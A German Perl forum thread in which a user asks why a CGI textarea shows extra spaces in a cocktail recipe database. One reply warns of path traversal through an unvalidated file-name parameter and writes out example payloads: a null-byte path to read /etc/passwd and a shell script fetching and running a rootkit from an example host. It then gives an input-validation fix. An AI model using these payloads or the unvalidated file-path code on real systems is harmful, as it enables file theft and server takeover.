RedSnake: Inhalt einer Textarea in eine Datei speichern

Hallo,

ich schreibe gerade eine Rezeptdatenbank. Leider habe ich eine kleiner Problem.

Hier ist mein Quelltext:

sub cocktail_zubereitung_save {

$id_cocktail = param("id_cocktail");
  $zubereitung = param("zubereitung");

print ("$zubereitung");

#chomp ($zubereitung);

open(DATA, ">./database/zubereitung/$id_cocktail.txt");# || die "kann $data nicht lesen!\n";
 print DATA ($zubereitung);
 close (DATA);

print p("Daten gesichert");

}

sub cocktail_zubereitung {
 print p("Zubereitung");
 $id_cocktail = param("id_cocktail");

open(DATA, "<./database/zubereitung/$id_cocktail.txt") || die "kann $data nicht lesen!\n";
 @datensatz = <DATA>;
 close (DATA);

print hr, start_form;
 print p("<textarea rows="10" cols="50" name="zubereitung">@datensatz</textarea>");

print ("<INPUT TYPE="hidden" NAME="id_cocktail" value="$id_cocktail">");
 print ("<INPUT TYPE="hidden" NAME="action" value="cocktail_zubereitung_save">");
 print submit("Zubereitung sichern");
 print end_form;
}

Wenn ich die Sub cocktail_zubereitung aufrufe, dann sehe ich textarea-Feld zwar meine Daten, aber ab der 2. Zeile ist immer ein Lerrzeichen, welches da nicht hingehört.

Habt ihr eine Ahnung warum und was man dagegen machen kann?

RedSnake

  1. Hi,

    Wenn ich die Sub cocktail_zubereitung aufrufe, dann sehe ich textarea-Feld zwar meine Daten, aber ab der 2. Zeile ist immer ein Lerrzeichen, welches da nicht hingehört.

    in der Datei? Schau mal nach, ob es sich nicht um einen Umbruch handelt. Wenn Du die <textarea> meinst, dann lies mal in

    perldoc perlvar

    nach, was $" beinhaltet ;-)

    Cheatah

    1. in der Datei? Schau mal nach, ob es sich nicht um einen Umbruch handelt. Wenn Du die <textarea> meinst,

      Datei sieht gut aus. Da habe ich keinen Umbruch.

      Ich denke das Problem liegt am Windows-Unix-Verhätltniss.
      Mit LF CR/LF. Aber ich habe keine Ahnung wie ich das beheben kann.

      perldoc perlvar ???

      was das???

      Danke für die Antwort

      1. in der Datei? Schau mal nach, ob es sich nicht um einen Umbruch handelt. Wenn Du die <textarea> meinst,

        Datei sieht gut aus. Da habe ich keinen Umbruch.

        Ich denke das Problem liegt am Windows-Unix-Verhätltniss.
        Mit LF CR/LF. Aber ich habe keine Ahnung wie ich das beheben kann.

        FTP ASCII Mode oder Ultraedit.

        perldoc perlvar ???
        was das???

        Die freundliche Form von RTFM.

        Danke für die Antwort

      2. Hi,

        Ich denke das Problem liegt am Windows-Unix-Verhätltniss.

        glaube ich eigentlich weniger. Das Windows-"\r\n" würde bei einem Unix-"\n" das Leerzeichen höchstens am Zeilen_ende_ produzieren, nicht an dessen _Anfang_.

        perldoc perlvar ???
        was das???

        Du programmierst und kennst die Doku Deiner Sprache nicht?! Krass. Das ist die Perl-Doku, kurz perldoc.

        Tippe das Kommando perldoc perlvar einfach in die Shell eines Systems, auf dem Perl installiert ist, und staune. Wenn Du die Doku tatsächlich noch nicht kennst, solltest Du außerdem (mindestens) folgendes lesen:

        perldoc perl
        perldoc perlfaq
        perldoc perlstyle
        perldoc CGI

        Cheatah

  2. Hallo,

    Hallo RedSnake,

    ich schreibe gerade eine Rezeptdatenbank. Leider habe ich eine kleiner Problem.

    Du hast mindestens zwei Probleme, und das zweite ist Dir nicht bewußt.

    Hier ist mein Quelltext:

    sub cocktail_zubereitung_save {

    $id_cocktail = param("id_cocktail");
      $zubereitung = param("zubereitung");

    print ("$zubereitung");

    #chomp ($zubereitung);

    open(DATA, ">./database/zubereitung/$id_cocktail.txt");# || die "kann $data nicht lesen!\n";
    print DATA ($zubereitung);
    close (DATA);

    print p("Daten gesichert");

    }

    sub cocktail_zubereitung {
    print p("Zubereitung");
    $id_cocktail = param("id_cocktail");

    open(DATA, "<./database/zubereitung/$id_cocktail.txt") || die "kann $data nicht lesen!\n";
    @datensatz = <DATA>;
    close (DATA);

    print hr, start_form;
    print p("<textarea rows="10" cols="50" name="zubereitung">@datensatz</textarea>");

    print ("<INPUT TYPE="hidden" NAME="id_cocktail" value="$id_cocktail">");
    print ("<INPUT TYPE="hidden" NAME="action" value="cocktail_zubereitung_save">");
    print submit("Zubereitung sichern");
    print end_form;
    }

    Dein zweites Problem ist deine Parameterauswertung, sie findet schlicht nicht statt!

    Wenn jemand auf die Idee kommt, das Feld id_cocktail durch beliebige Mittel zu ändern (z.B. Editieren des gespeicherten Formulars oder ganz simpel per URL), hat er Vollzugriff auf dein System, zumindest mit den Rechten des Webservers.

    Was meinst Du, was passiert, wenn id_cocktail den Wert "../../../../../../../../etc/passwd\0" hat ?

    Damit hat der Angreifer eine Liste aller User-Accounts.

    Oder folgender Angriff:

    id_cocktail="../../../../../../../../../../tmp/ichhabdichandeneiern.sh\0"
    zubereitung=qq[
    #!/bin/sh
    lynx -dump http://www.example.com/evil/empire/rootkit.tgz > rootkit.tgz
    tar xzvf rootkit.tgz
    rootkit/become_root
    echo 'You are dead.'
    ];

    Damit hat der Angreifer eine Datei under einem beliebigen Namen in deinem System, er braucht nur noch ein zweites fehlerhaftes Programm, um diese Datei auszuführen.

    Bitte versteh' mich nicht falsch. Ich will Dich nicht runtermachen oder Dir zeigen, daß Du weniger Ahnung von Perl hast als Larry Wall himself. Ich will Dir nur zeigen, daß Du Dir mit ungeprüften CGI-Parametern in den Fuß schießen kannst.

    Lösungsansatz:

    use CGI::Carp qw(fatalsToBrowser);
    ...
    my $id_cocktail=param('id_cocktail');
    die "Don't try hacking my scripts, I'm better than you!\n"
     unless $id_cocktail=~/^\d+$/; # only digits allowed

    open FILE,"... $id_cocktail ..."

    Alexander

    1. Danke für den echt heißen Tipp, ansowas habe ich noch gar nicht gedacht.
      Vermutlich weil das Skript nur von mir genutzt wird. Aber sicher ist sicher.

      Danke nochmals auch wenn mein Hauptproblem immer noch nicht gelöst ist.

      mfg

      RedSnake